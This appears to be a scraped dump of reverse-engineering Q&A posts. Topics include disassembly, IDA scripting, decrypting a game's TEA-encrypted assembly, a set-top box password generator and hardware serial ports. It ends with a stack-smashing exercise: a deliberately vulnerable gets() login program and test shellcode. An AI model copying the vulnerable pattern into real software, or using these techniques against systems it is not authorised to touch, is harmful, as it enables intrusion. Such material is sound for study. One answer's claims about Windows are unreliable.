    These might or might not have a publicly disclosed exploit code. Depending on that you would have to either do the patch analysis, debugging and exploit development on your own. Or if you are trying to secure your server -- then you would have to patch the software or implement the latest stable release.

    \n\n

    For more hints and proof-of-concept exploits you can start your search with the exploit-db.com.

    \n\n

    Hope this clarifies your question.

    \n" }, { "Id": "12671", "CreationDate": "2016-05-17T15:27:31.627", "Body": "

    I have the following disassembly of a function prologue with comments. I'm unclear on what the author means in this line of disassembly "lea edi,[ebp-0xcc] ; getting the lowest address of stack frame". Dumping the headers of the executable I see the following in the OPTIONAL HEADER VALUES: 100000 size of stack reserve 1000. Windows Threads default stack size is 1MB so I'm believe the values from dumpbin are in units of Kilo.

    \n

    Can you please clarify this statement:\nlea edi,[ebp-0xcc] ; getting the lowest address of stack frame

    \n
    push ebp            ; establishing stack frame \nmov ebp,esp         ; save stack pointer in ebp\nsub esp,0xcc        ; creating stack frame for local variables\npush ebx            ; saving registers that might be used\npush esi            ; outside\npush edi            ;                                     \nlea edi,[ebp-0xcc]  ; getting the lowest address of stack frame \nmov ecx,0x33        ; filling stack frame with 0xCC\nmov eax,0xcccccccc  ; \nrep stosd           ;\n
    \n", "Title": "Win32 x86 prologue disassembly", "Tags": "|disassembly|windows|debugging|windbg|thread|", "Answer": "

    this doesnt have anything to do with stack size in pe header

    \n\n
    assume  esp = 1200cc \nso ebp will also be 1200cc\nsub esp,0xcc  will make esp 120000   \nthe three pushes will alter esp but not ebp   \nso  edi will be 120000   after that operation   \necx = counter == 33  eax = 0xcccccccc \nso rep stosd will fill the space from 120000 to 1200cc with 0xcccccccc\n
    \n\n

    simply put it is memset(&ebp,0xcc,0xcc);

    \n" }, { "Id": "12675", "CreationDate": "2016-05-17T20:19:05.650", "Body": "

    In IDA's Graph View, when we select some register (for example, esp in the image below), every location that the register occurs is highlighted.

    \n\n

    Is it possible to read what the selected operand is? (I want to work with registers at the moment, but it would be nice to be able to know any selected value).

    \n\n

    I am able to get the address of the instruction using idaapi.get_screen_ea(), but am unable to proceed further.

    \n\n

    \"esp

    \n", "Title": "IDA Python - Find highlighted register", "Tags": "|idapython|", "Answer": "

    In case the above doesn't work in newer versions try ida_kernwin.get_highlight(ida_kernwin.get_current_viewer())

    \n

    Example:

    \n
    Python>ida_kernwin.get_highlight(ida_kernwin.get_current_viewer())\n('edx', 0x3)\n
    \n

    The backwards compatibility layer shows how to interpret the returned tuple:

    \n
    def get_highlighted_identifier():\n    thing = get_highlight(get_current_viewer())\n    if thing and thing[1]:\n        return thing[0]\n
    \n" }, { "Id": "12688", "CreationDate": "2016-05-18T17:01:58.647", "Body": "

    Let's say I have a carbon objective-c executable, and a crash report. From the crash report, it is apparent that the main method is located at 0x00002639, and the NSApplicationMain method from the AppKit is at 0x93ba0025. I anticipate that the first main method has background processes, and NSApplicationMain is the method typed by the user.

    \n\n

    Is there any sort of predictable interval to instructions? I want to make breakpoints at every instruction written by the programmer. Let's say for example that the main after the main method, the instructions are separated by 2, so from 0x93ba0025, the next function would be 0x93ba0027, etc.

    \n\n

    Would the above apply, or will I have to do something more to achieve this?

    \n", "Title": "Is there a predictable interval between instructions of main methods in carbon?", "Tags": "|gdb|memory|", "Answer": "

    No.

    \n\n

    x86/x64 processors use instructions of variable length, so you can't assume that there is a specific number of bytes between instructions.

    \n\n

    You'd likely want to use something like a length disassembler in order to figure out the length of a given instruction at a given address.

    \n" }, { "Id": "12690", "CreationDate": "2016-05-18T18:08:30.747", "Body": "

    I'm working through example from a Windows disassembly training guide. In the exercise rax is set to a byte ptr, then rbx a word ptr. I notice the next byte of memory is skipped before rcx is to a dword ptr. Why did a byte of memory get skipped? Is there some alignment requirement?

    \n\n

    \"Addressing

    \n", "Title": "x64 Memory Pointer and Addressing modes", "Tags": "|disassembly|debugging|windbg|", "Answer": "

    The main reason to align the data is for performance (some architectures will fault on misaligned data, but since you tagged this with windbg, we will assume amd/intel x64 + windows).

    \n\n

    Quoting from the AMD64 Architecture Programmer\u2019s Manual Volume 1:

    \n\n
    \n

    The AMD64 architecture does not impose data-alignment requirements for\n accessing data in memory. However, depending on the location of the\n misaligned operand with respect to the width of the data bus and other aspects of the hardware implementation (such as\n store-to-load forwarding mechanisms), a misaligned memory access can\n require more bus cycles than an aligned access. For maximum\n performance, avoid misaligned memory accesses.

    \n
    \n\n

    Ideally the word-sized data (pointed via rbx) would be 2-byte aligned, but as noted above, it is not required.

    \n" }, { "Id": "12692", "CreationDate": "2016-05-19T01:37:24.390", "Body": "

    How do I reverse engineer the Android kernel currently running on an Android phone? I'm most interested in seeing/manipulating the call stack. Basically, gdb or something like Ollydgb would be great. I am not looking to build the kernel from source.

    \n", "Title": "Reverse Engineering Android Kernel", "Tags": "|android|", "Answer": "

    Probably the easiest way to go about it is to find out what firmware image your phone is running and download it, extract the kernel blob (zImage), then fire that up in the android emulator/QEMU and remote kgdb into it.

    \n\n

    You could unpack the kernel using unmkbootimg: https://github.com/osm0sis/mkbootimg

    \n\n

    There are plenty of tutorials on xda for unpacking the kernel.

    \n\n

    Here's a link of some dude debugging an android kernel in the emulator:\nhttp://www.informit.com/articles/article.aspx?p=2431417&seqNum=3

    \n" }, { "Id": "12693", "CreationDate": "2016-05-19T12:57:04.737", "Body": "

    I'm trying to reverse-engineer a binary. I'm interested to find its network traffic but dynamic analysis is failing. Using IDA I'm able to identify network calls but when I try to reverse its caller using x shortcut after couple of callers I get stuck at this point:

    \n\n
    .text:00407230                 dd offset sub_40600C\n.text:00407234                 dd offset sub_403C30\n.text:00407238                 dd offset nullsub_4\n.text:0040723C                 dd offset sub_40601C\n.text:00407240                 dd offset sub_4039BC\n.text:00407244                 dd offset sub_40C294\n
    \n\n

    I would like to ask how I can proceed further.

    \n", "Title": "Reverse Referencing in IDA", "Tags": "|ida|", "Answer": "

    This means that these functions are called indirectly (if ever called at all).\nIf this program is written in something like C++ this may be a virtual function pointer table, and anyway such code organization usually represents table of functions used by indirect calls.

    \n\n

    If this program is written in C++ I'd suggest to read this presentation by @Igor Skochinsky - this is very educational reading.

    \n\n

    I'd proceed as follows:

    \n\n\n" }, { "Id": "12698", "CreationDate": "2016-05-20T15:40:55.677", "Body": "

    How to select ARM or THUMB mode when using \"Make Code\" command?

    \n\n

    I have ARM binary and I want to specify ARM or THUMB code making manually in IDA, but how to do this?

    \n", "Title": "IDA Pro. How to select ARM or THUMB mode when using \"Make Code\" command", "Tags": "|ida|disassembly|arm|", "Answer": "

    When IDA first analyzes the binary, it detects which parts of the code are ARM, and which part are THUMB instructions. Then, it creates segments according to the analysis, and marks each segment as a \"THUMB\" or \"ARM\" segment.

    \n\n

    Press ctrl-G to see which segment has which type (Value 00=ARM, 01=THUMB).

    \n\n

    Press alt-G to change the designation of the current segment (the one the cursor is in right now).

    \n\n

    If you aren't satisfied with what the analyzer created, use the Edit/Segments submenus to move, resize, create, or delete them.

    \n" }, { "Id": "12708", "CreationDate": "2016-05-21T16:46:22.020", "Body": "

    Let's say I want to reverse engineer an executable that interprets some data type. I want to see how the program interferes with the file, and what is stored. In the case that decompilation is not an option, I have disassembly and debugging left. With disassembly, I would have to look into 200,000 lines of assembly, which would be rather tedious, especially if I needed to hand code it back.

    \n\n

    From my experience with debugging with gdb, all that I was able to do is see when a thread is being created, and inspecting the stack, both of which don't seem like very useful to me.

    \n\n

    Is my approach to debugging incorrect? If it is, then what can you do with a debugger like gdb, avoiding paid debuggers or software, to find out a piece of information similar to the one I am trying to find? Can someone give me a pointer for the sake of orientation?

    \n", "Title": "How do debuggers help one with finding information about how a program does something?", "Tags": "|debugging|", "Answer": "

    99% of RE is figuring out what not to RE.

    \n\n

    Assuming there are 200k lines of assembly - using a debugger can quickly narrow that down to a few thousand that are actually processing the data you're interested in. Try setting a breakpoint on syscalls like open() or read() to see when it's interacting with your file, and following the buffer that the data is read in to.

    \n\n

    Once you locate where your data is coming in to the program, static analysis becomes a much less daunting task.

    \n" }, { "Id": "12710", "CreationDate": "2016-05-21T22:22:16.997", "Body": "

    I just tried to convert the asm code shown belown, but I failed to get the same result

    \n\n
    00ACDE11  /MOV AL,BYTE PTR DS:[EBX]          \n00ACDE13  |MOV EDX,EAX                       \n00ACDE15  |ADD DL,0CF                        \n00ACDE18  |SUB DL,9                          \n00ACDE1B  |JB SHORT 00ACDE46            ;Especially this     \n00ACDE1D  |ADD DL,0F9                        \n00ACDE20  |SUB DL,0E                         \n00ACDE23  |JB SHORT 00ACDE46            ;Especially this     \n00ACDE25  |DEC EDX                           \n00ACDE26  |SUB DL,0B                         \n00ACDE29  |JB SHORT 00ACDE46            ;Especially this     \n00ACDE2B  |XOR EAX,EAX                       \n00ACDE2D  |MOV AL,BYTE PTR SS:[EBP-310]      \n00ACDE33  |DEC EAX                           \n00ACDE34  |CALL 009E2D24                     \n00ACDE39  |MOV EDI,EAX                       \n00ACDE3B  |MOV AL,BYTE PTR SS:[EDI+EBP-30F]  \n00ACDE42  |MOV BYTE PTR DS:[EBX],AL          \n00ACDE44  |JMP SHORT 00ACDE48                \n00ACDE46  |MOV BYTE PTR DS:[EBX],AL          \n00ACDE48  |INC EBX                           \n00ACDE49  |DEC ESI                           \n00ACDE4A  \\JNZ SHORT 00ACDE11                \n
    \n\n

    I already does some research effort on the internet and found that carry flag is set when an overflow is caused.\nThis is what I already tried:

    \n\n
    for(int i=0; i < n ;i++)\n{\n    int c = buffer[i] + 0xC6;\n\n    if(c > 0xFF) // <---- this is not producing the same result\n    {\n        c = ((unsigned char) c) + 0xEB;\n\n        if(c > 0xFF) // <---- this is not producing the same result\n        {\n            c = ((unsigned char) c) - 0xC;\n\n            if(c > 0xFF) // <---- this is not producing the same result\n            {\n                //...\n                //func_009E2D24(...);\n\n            }\n        }\n    }\n\n    //...\n}\n
    \n", "Title": "How the asm code can be converted to C Language?", "Tags": "|disassembly|", "Answer": "

    This is what I wanted so far, this worked fine for me:

    \n\n
    for(int i=0; i < n ;i++)\n{\n    int c = buffer[i] + 0xCF;\n    c = (unsigned char)c;\n    c -= 9;\n    if (c > 0)\n    {\n        c += 0xF9;\n        c = (unsigned char)c;\n        c -= 0xE;\n        if (c > 0)\n        {\n            c = (unsigned char)c;\n            c -= 0xC;\n            if (c > 0)\n            {\n                //...\n                //func_009E2D24(...);\n            }\n        }\n\n    }\n    //...\n}\n
    \n" }, { "Id": "12711", "CreationDate": "2016-05-22T03:04:37.753", "Body": "

    I've been slowly working on getting into the workings of a set-top box. I hit a snag when the firmware that it downloads is encrypted. I managed to find some pictures of the circuit board (but haven't opened up my device yet) and I have been reading up on communicating over the on-board serial port. I have zero experience with this, other than what I've read on http://devttys0.com and http://jcjc-dev.com/ and various other sites.

    \n\n

    So my question is this - Since I'm such a newbie at this, is anyone willing to look at these pictures and help me figure out where a serial port might be hidden?

    \n\n

    Pictures @ https://www.dropbox.com/sh/qzd2jpjlv1ieehu/0Am6ttruYe

    \n\n

    Any thoughts? Thanks for your time!

    \n", "Title": "Help locating Serial Port on embedded device", "Tags": "|serial-communication|embedded|", "Answer": "

    Look for .1 Inch spaced pads or holes, at least three contacts will be in a row (as you need RX, TX and GND). At a glance I can't find a port in the photos. You should try to get some really high resolution top and bottom pictures.

    \n" }, { "Id": "12720", "CreationDate": "2016-05-23T03:12:55.707", "Body": "

    I have hooked into some functions in an exe. I was wondering if there were any simple ways to detect the memory addresses of these functions after the exe has a new build (not my exe). Is the best way to just scan the exe for the bytes of the function and compare to the previous result? Can this be achieved fast enough to add it to my injection code?

    \n", "Title": "What is an easy way to update the addresses of hooked functions in an exe", "Tags": "|c++|dll-injection|function-hooking|", "Answer": "

    It really depends on the functions you're hooking. If they're not likely to be changed, then scanning for the bytes would be the naive solution. It should be relatively fast and work perfectly fine.

    \n\n

    If it's likely that the functions will have changed (patches, removal, different compiler/build env, etc) then you could try to find a bytestring 'signature' for those functions. Ideally that signature would be unique (only in that function), but also as small as possible (to reduce the likelihood that those bytes were patched in the new binary). This is going to be fairly hack-y.

    \n\n

    Just a note: if it was a DLL, you could walk the PE export table fairly trivially to find the new offsets.

    \n\n

    There's also Bindiff, which is now free: https://security.googleblog.com/2016/03/bindiff-now-available-for-free.html

    \n\n

    Bindiff is an IDA plugin that would probably solve your problem as well.

    \n\n

    I would say try scanning for the bytes, and see how many you're successful in locating. The easy solution is the best solution! :)

    \n" }, { "Id": "12726", "CreationDate": "2016-05-23T22:17:58.577", "Body": "

    I have made a plugin (using IDA Python) that requires the Hex-Rays plugin.

    \n\n

    As per the instructions in the hexrays_sdk folder, I've named my plugin starting with hexrays_ to make sure it loads after Hex-Rays is done loading. However, IDA decides to load my plugin earlier, and hence, it never is able to get True for idaapi.init_hexrays_plugin().

    \n\n

    I've tried renaming my plugin in multiple ways, but still cannot seem to get the plugin to load after Hex-Rays.

    \n\n

    BTW, I think the issue might be related to the fact that I am storing my plugin in %IDAUSR%/plugins rather than %IDADIR%/plugins since I do not want to modify %IDADIR%.

    \n\n

    Is there any kind of workaround to make the plugin load later? Or can I force IDA to load Hex-Rays earlier?

    \n", "Title": "Hex-Rays and IDA Python plugin loading order", "Tags": "|idapython|ida-plugin|hexrays|", "Answer": "
    def init():\n    if not idaapi.init_hexrays_plugin():\n        return idaapi.PLUGIN_SKIP\n
    \n" }, { "Id": "12732", "CreationDate": "2016-05-25T01:01:03.100", "Body": "

    I have an interesting application that seems to crash whenever a particular region of memory is read using ReadProcessMemory. I know it's not doing anything special with RPM because:

    \n\n
      \n
    1. Injecting a DLL to read that region of memory directly also causes a crash.
      2. \n
    2. Scanning regions with applications like CheatEngine also causes a crash.
      3. \n
    \n\n

    It's also not a guard region or a region with special protection flags. It's just a private R+W region.

    \n\n

    At first I thought they were installing hardware data breakpoints like those described here, but after checking the debug registers of all threads and seeing that they were all zero made me conclude that another technique is used.

    \n\n

    I suspect that they are somehow raising an exception whenever that piece of memory is read. I'm looking to understand what they're doing and how to detect it, or at the very least, make RPM not crash the application.

    \n\n

    P.S. I cannot attach a debugger to this application, and the executable is encrypted, but I do know that various TLS callbacks are used along with VEH exception handlers.

    \n", "Title": "Target application crashes when using ReadProcessMemory", "Tags": "|memory|exception|", "Answer": "

    VirtualProtect or WriteProcessMemory are affected by this

    \n\n

    because windows checks up the Vad Table with \nwith a internal function called \"MiCheckForConflictingNode\"\nwindows reacts to 0x00200000 what is 2 = VVadImageMap = 2\nto value 0x00400000 what is in VadTypeVadWriteWatch = 4 \nto value 0x0008000 this flag is \"NoChange\" yes (1) or no (0) either contains 0 or 1

    \n\n

    KeAttachProcess also calls a trigger im uncertain if its a flag or a function that got set

    \n\n

    the trigger from the target is made to delay executed\nit then read out that information that got left from KeAttachProcess

    \n\n

    after this the target prints a error but its only a trigger

    \n\n

    to avoid this do not use that functions or either emulate them so they dont call triggers or flags\nthere other ways too

    \n\n

    microsoft gives a .txt file what includes text that is pure scam and talks like 10 pages about that microsoft is protecting those companys

    \n\n

    and saying something like \"stack error\" what is not the case its just scamming and trolling

    \n\n

    also i figured out that this part got added to windows with over a so called \"security update\" what is rather about the take the users away the rights from his own computer

    \n\n

    thats why i never liked windbg it has a tons of dependencies

    \n\n

    as you can see this problem here

    \n" }, { "Id": "12733", "CreationDate": "2016-05-25T02:15:15.903", "Body": "

    I'm trying to reverse engineer an Android app. I've tried using several decompilers, and while I'm getting java source codes to varying levels of accuracy, I'm not able to convert the resource IDs to the resource strings. In the Java source, all I'm getting is the 32bit resource ID, which is meaningless to me. Is there anyway to get the resource string from this resource ID? I did not find any R.java in any of the decompiled code.

    \n\n

    Thanks!

    \n", "Title": "Mapping Android resource IDs to resource string", "Tags": "|decompilation|android|static-analysis|java|", "Answer": "

    Yunchao Guan's answer is correct.

    \n\n

    For example, i recently unpacked an application (zaka.com.amperemeter-1.apk, yes, it's zaka.com, not com.zaka as it shoule be) to improve the bad German translation that had been done by google translate.

    \n\n

    Unzipping the .apk, using dex2jar on the .dex, and procyon on the resulting jar gave me, for example:

    \n\n
    unzip/procyon/gluapps/Ampere/meter/Activity/MainActivity.java:240\n    return this.getString(2131099670)\n
    \n\n

    ALSO, procyon gave me an R.java that has a name for that number:

    \n\n
    unzip/procyon/gluapps/Ampere/meter/R.java:909\n    public static final int Usb_plug_type = 2131099670;\n
    \n\n

    So you really should get a R.java source code from decompiling. In case you don't, apktool d zaka.com.amperemeter-1.apk gives you several files that have the same number, in hex, in smali files:

    \n\n
    work/smali/gluapps/Ampere/meter/R$string.smali:20\n   .field public static final Usb_plug_type:I = 0x7f060016\nwork/smali/gluapps/Ampere/meter/Activity/MainActivity.smali:477\n    const v1, 0x7f060016\n
    \n\n

    these are basically the same as in the decompiled java files. Additionally:

    \n\n
    work/res/values/public.xml:473\n    <public type=\"string\" name=\"Usb_plug_type\" id=\"0x7f060016\" />\n
    \n\n

    This is the key that maps to the actual, translated, string in the language-dependent file:

    \n\n
    work/res/values-de/strings.xml:25\n    <string name=\"Usb_plug_type\">USB</string>\n
    \n\n

    So, with a normal apk, if you use unzip/dex2jar/decompiler/apktool correctly, everthing should be there. If not, it would be best if you provided a link to the apk, because something weird might be going on with yours, but there's no way to tell unless you give us a chance to look at your specific apk.

    \n" }, { "Id": "12735", "CreationDate": "2016-05-25T07:25:12.067", "Body": "

    So I have an android game. Its Assembly-CSharp.dll causes .NET Reflector to show

    \n\n
    \n

    File is not a portable executable. DOS header does not contain 'MZ'\n signature

    \n
    \n\n

    It's encrypted. The app seems to decrypt that assembly at app launch time.

    \n\n

    So I used UltraCompare to point out what is changed from previous version(It wasn't encrypted).

    \n\n

    classes.dex was identical, so no java code was changed.
    \nlibmain.so and libunity.so was identical, but libmono.so had a big change.

    \n\n

    There was some new added symbols which seem to be related with encryption such as TEAEncrypt, TEADecrypt, TEAEncryptString, TEADecryptString, and some\nmono library's C# internal call routine like ves_icall_System_Security_SecureString_EncryptInternal.

    \n\n

    If it's the means of the encryption, I wander where are those functions called.

    \n\n

    There was some changes to Assembly-CSharp-firstpass.dll, Assembly-UnityScript.dll, Assembly-UnityStript-firstpass.dll with a same change pattern. I can't figure out what does this means.

    \n\n

    So where can be the Assembly-CSharp.dll decrypted at runtime?\nOr is there another way without decrypting that at runtime?

    \n", "Title": "Where can be assembly-csharp.dll decrypted?", "Tags": "|dll|", "Answer": "

    Mono is, basically, open source. So anyone can create a Mono implementation that, whenever it reads a chunk of a CIL DLL file, applies encryption to it. Maybe Unity delivers a libmono.so that does encryption with its newest version; maybe the vendor of the game implemented something themselves. You could start checking patch notes of Unity to learn if this is an official new feature; if not, it's likely that the game vendor created their own encrypting libmono.so.

    \n\n

    Your TEA functions are, most likely, called within the libmono.so itself. If i had to implement something like that, i'd write wrapper functions TEAopen, TEAread, TEAclose for fopen, fread, fclose that decrypt on reading the file, then replace the f-* functions in the mono-code that reads a DLL with the TEA-* functions.

    \n\n

    TEA encryption works with 8-byte chunks, which may be one of the reasons it was used here; if you want to read just a part of the file, you don't need to read everything before your part, except a few bytes to fill the 8-byte-block. But this also means the same 8 input bytes will always result in the same 8 output bytes, if your original DLL has areas with a lot of '\\0' bytes, they will result in the same 8 bytes repeated over and over in the encrypted DLL.

    \n\n

    While TEA has a weakness that turns a 128 bit key into 126 effective bits, there seems to be no known plaintext attack on it. This means, your observed same change pattern won't help you. So you need to extract the key from the mono implementation yourself. Disassemble that file, especially the TEAEncrypt and TEADecrypt functions. They should look somewhat like the code from the Wikipedia article. Their second parameter is the key; either try to find out where that key is stored/generated, or do some dynamic analysis, put a breakpoint on those functions, and check what the parameter they get actually is. Also, check if it's really a standard TEA implementation, or maybe XTEA or a different key schedule constant or something. Once you have the key, find a program that takes a file and a TEA key and decrypts it, or roll your own; this shouldn't be too difficult as there are lots of open source TEA implementations in any language of your choice.

    \n" }, { "Id": "12746", "CreationDate": "2016-05-26T20:01:33.500", "Body": "

    Here is my question:

    \n\n

    given a marked C code component, how I can find its corresponding assembly instructions in the compiler produced assembly program?

    \n\n

    It should be very easy if the marked component is a function, as long as there is no overlapped assembly program, we can just do a linear search and recognize the function in the compiler-produced code.

    \n\n

    Then how about the marked component is a loop statement? Or even an arithmetic statement? Is there any good solution at this time?

    \n\n

    Could anyone give me some help? Thank you!

    \n", "Title": "Recognize certain components in the compiler produced assembly program", "Tags": "|assembly|compilers|decompiler|", "Answer": "

    TL;DR: Hope for some magic numbers, or string constants you can xref, or you're in for a lot of manual work.

    \n\n

    Searching for an arithmetic statement that doesn't include a very specific magic number, or searching for a loop without any surrounding context, is bound to fail. There's just too much code that's way too similar in your program. So you should at least try to find your function, then match the disassembled function to your source code.

    \n\n

    But, you should clarify your use case a bit. What do you have? And what are you looking for?

    \n\n

    For example, if you have full source code, compile your program with debugging information, and you have everything you need. But this isn't a question for RE.

    \n\n

    Or, you have full source code, have delivered a binary to a customer, and for some reason, want the customer to patch the binary instead of sending a new version to them. In this case, recompiling the same version of your program with the same compiler settings should yield some binary code that, except global variable references and jump destinations, should be the same as your delivered binary had. Comparing partial byte sequences should do the trick, and this is more or less how IDA's FLIRT and many antivirus programs work. Still not a question for RE though.

    \n\n

    Or, you have a binary, and suspect it includes some open source library. Comparing the binary with the version of the library you compiled yourself will probably not help you, because unless you use the exact same version of library, compiler version, compiler flags, and probably phase of the moon, your compiler won't produce what the original compiler produced. In this case, magic numbers, or string xrefs, are sometimes helpful. For example, in this question, the OP is looking for which part of the library does some TEA encryption. In his case it's easy as he has a .so with exported symbols, but if he didn't, searching for byte sequences 0x9e3779b9 and/or 0xC6EF3720 could help. This is what binwalk does. Also, those libraries often have error message strings, finding them and their xrefs leads you to the compiled version of the function. If you're lucky, the source code has some assert()-like macros that didn't get commented out during release compile, in that case you get a very nice match between source code and binary.

    \n\n

    If this doesn't work, things start getting hairy. Once when i had a similar problem, i ended up writing an IDA script that counted the number of call statements per function, and the number of jumps backwards, i.e. loops. I ran this over the binary i wanted to re, and also over the code i was looking for. Then, i manually matched functions to each other based on the number of calls they had, the number of loops, and their respective position in the source code. You can probably try to be clever and automate the matching, depending on how often you need this.

    \n\n

    If the compiler optimized a lot, you really need to analyze a lot of stuff manually. If your function is small, it might get inlined by the compiler, and suddenly the arithmetic expression you're looking for is repeated in dozens of places. Your loop might get unrolled so there's no loop left to find.

    \n\n

    And the creator of the software might have modified the original source so you can't match it to the binary any more. I reversed some software a year ago that gets some encrypted HTML from somewhere and renders it to a bitmap. From the strings within the binary, it was easy to determine that the software uses the dillo code to do the rendering. But i just wasn't able to match the binary code to the source - first, because i didn't know which version of dillo got used, and second, because they modified the code to decrypt just as much as needed on the fly, and overwrite the decrypted HTML with junk as soon as they didn't need it anymore. So every character comparison and each of the standard string function calls was (probably) replaced in the source, then the replacements got inlined (or were macros in the first place). This trashed my loop counts, subroutine call counts, and everything - i don't think there's any good, automated way through this kind of mess.

    \n" }, { "Id": "12757", "CreationDate": "2016-05-29T00:24:12.737", "Body": "

    I found a binary on a device I've been working on, it's called genrandpass and the only user input is a public key (which is a .bin file) that's stored locally on the device. It also gathers some other information, possibly from the environment to produce three passwords (there is a reference to the Box ID using strings). Looking thru the shell scripts pertaining to genrandpass, it takes the three generated passwords and:

    \n\n

    This makes me think that the developer had intended on being able to use the $epass and $spass variables to generate the actual root password. There are a few certificates and one Private key (decryption.pem) on the box itself. Not sure if it's the right key to decipher the code but I'd like to try because I have a few other models of these boxes that I haven't been able to break into yet. I'm just not sure what the correct commands are to try. Any ideas?

    \n

    genrandpass file at https://dl.dropboxusercontent.com/u/23091/genrandpass

    \n

    examples of the last 2 passwords generated:

    \n
    \n

    $epass: SxTV2Z7TFvU0XKP/lYYTDlKAhlRR2jwkDGbWPF68go/oOx6x4Pr5DeyNRlx9oQGF05sHld/vyXXchmxlbzsVzPIwocWIq3OIr3J+ZFJrJYPss9VE7YWrwpyRlGwTVHDvZGIzCKXcaipJd85ldLiWUrNxMl4g+5kzwVA2a3I8LuiuixRFVmc8ji/W2W5ZeU5FTcbaiNjlpoRHjPFUkvHKJ4nHSfXpZuLDRS53hxcSnb8ZmvTmFP4ITAdyj9Yw+C2pvD+gSEWRB/H+1cFPQOTi7wr/FY8266QEWqGZw30ZEsMCUNCC0DgiIX+H68QKcU8QFYUJC5+vui3BtcOfFXKHZl==

    \n

    $spass:\nRtcTy7fJ11XAQi1P2HiZM4MAxMZMA2NlD6wZL8jNYdrSL5i8qtkGztKDccmGqRWgjiVKI7TcVNcX3PhUSB3UfQCAF6KpBvH7NNezkExdwdM3W2mSnXJvyRLpDSJEgALs0wurUrqIYClZOjTc+xiJzOIUP0Gxb4d2ADOaKXHQ6n6H2Ss/1smITjrbXJ1K8RentZu26sAy3DW+zRIxtxnktSAGUscdG1oytlOL15aAROSL27NUcPSoA3+4o76zggq5TspIBTSmidVRUccEdXPyAzZggR0yqGNrm99uJXHlhw4zCW+GzKJFsJSTwDHZvCoeLERCLuyXFVrgmIISKf6E2V==

    \n
    \n", "Title": "Help deciphering binary that creates 3 passwords", "Tags": "|encryption|mips|embedded|", "Answer": "

    Your code has a function at 0x400960 that looks like a main function, and, omitting all initialization (everything gets initialized to 0) and error checking, looks like this:

    \n\n
    char input_file_buffer[256];\n\nint finder_id_size=16;\nchar finder_id[16];\n\nint temp_256=256;\nchar finder_public_key[256];\n\nchar password[31];\n\nint temp_32=32;\nchar sha_buffer[256];\nchar rsa_buffer[256];\nchar base64_input[256];\nchar base64_output[345];\n\nFILE *fp=fopen(argv[1], \"rb\");\nfread(input_file_buffer, 256, 1, fp);\nfclose(fp);\n\nget_finder_public_key(finder_id, &finder_id_size,\n                    finder_public_key, &finder_public_key_size);\n\nmake_password(password, 30);\n\nprintf(\"%s\\n\", password);\n\nmemmove(sha_buffer+32, password, 30);\nmemmove(sha_buffer+63, finder_id, 16);\nrun_sha256(sha_buffer, 256, rsa_buffer+36, &temp_32);\nrun_rsa_public_decrypt(sha_buffer, 256, base64_input, &temp_256,\n                            input_file_buffer, 256);\n    // base64_encode is a loop calling encodeblock, not a function,\n    // in the original binary. Encodeblock encodes 3 bytes binary\n    // input 4 bytes base64 output.\nbase64_encode(base64_input, 256, base64_output, 345);\nprintf(\"%s\\n\", base64_output);\n\nrsa_buffer[32]=htonl(1);\nrun_rsa_ks(rsa_buffer, 256, base64_input, &temp_256);\nbase64_encode(base64_input, 256, base64_output, 345);\nputs(base64_output);\n
    \n\n

    So, (because some of the functions are in a shared libary, a part of this is assumptions) your code:

    \n\n\n\n

    In RSA, you encrypt a message with someone's public key so the someone can use their private key to decrypt it, or you encrypt something with your private key to prove your identity (because the public key can be used to decrypt it). Thus i wouldn't put too much weight on the fact the rsa function is called \"decrypt\".

    \n\n

    I'd assume the run_sha function generates a random 32 bit key, uses that to do the encryption, and saves it to what i call rsa_buffer. Later, run_rsa_ks (ks for key save) rsa-encrypts that sha key. So, if you lose the root password to a device, and ask the vendor for help, they

    \n\n\n\n

    Unfortunately, and as i already said in my comment, this means unless you can crack rsa, and don't have any other means to get the private key, your quest ends here. Unless the vendor used a very weak RSA key, but this isn't very probable when they used the effort they did to secure the root password.

    \n\n

    Update: I glanced over some of the functions in that libjsonsigner.so, and the get_finder_id_public_key as well as the rsa functions use a device named /dev/vixs/xcodedrv, which hints at a video hardware chip. There's a get_certificate function as well which uses a get_device_certx function that uses the same device. So at least a part of the certificate stuff, as well as the rsa encryption, seem to be hardware-assisted. This means without dynamical analysis on the actual hardware, good chip documentation, and a lot of time, you won't get very much farther (and will probably still smash into a wall at some point because of RSA).

    \n" }, { "Id": "12762", "CreationDate": "2016-05-29T21:15:47.713", "Body": "

    I been trying to smash the stack in an x86_64 machine , the payload gets executed when I use a debugger (gdb) and fails with Segmentation fault\nwhen I run it normally

    \n\n

    Here is the vulnerable program

    \n\n
    #include <stdio.h>\n\nchar *secret = \"Password\";\n\nvoid go_shell()\n{\n    char *shell =  \"/bin/sh\";\n    char *cmd[] = { \"/bin/sh\", 0 };\n    printf(\"Would you like to play a game...\\n\");\n    setreuid(0);\n    execve(shell,cmd,0);\n}\n\nint authorize()\n{\n    char password[64];\n    printf(\"Enter Password: \");\n    gets(password);\n    if (!strcmp(password,secret))\n        return 1;\n    else\n        return 0;\n}\n\nint main()\n{\n    if (authorize())\n    {\n        printf(\"login successful\\n\");\n        go_shell();\n    } else {\n        printf(\"Incorrect password\\n\");\n    }\n    return 0;\n}\n
    \n\n

    compiled as : gcc simple_login.c -o login -z execstack -fno-stack-protector -g

    \n\n

    ASLR turned off

    \n\n

    Here is My payload in assembly

    \n\n
    section .text\nglobal _start\n\n_start:\nxor rax, rax ; syscall\nxor rdi, rdi ; arg1\nxor rsi, rsi ; arg2\nxor rdx, rdx ; arg3\n\n; write(int fd, char *msg, unsigned int len)\nnop\nmov al, 1\ninc di\ninc di\n;Owned!!! =  4f,77,6e,65,64,21,21,21\n;push !,!,!,d\n;push e,n,w,O\nmov rcx,0x21212164656e774f\npush rcx\nmov rsi, rsp\nmov dl, 8 \nsyscall\n\n; exit(int ret)\n;xor rax,rax\nmov al, 0x3c\nxor rdi, rdi\nsyscall\n
    \n\n

    \"enter

    \n\n
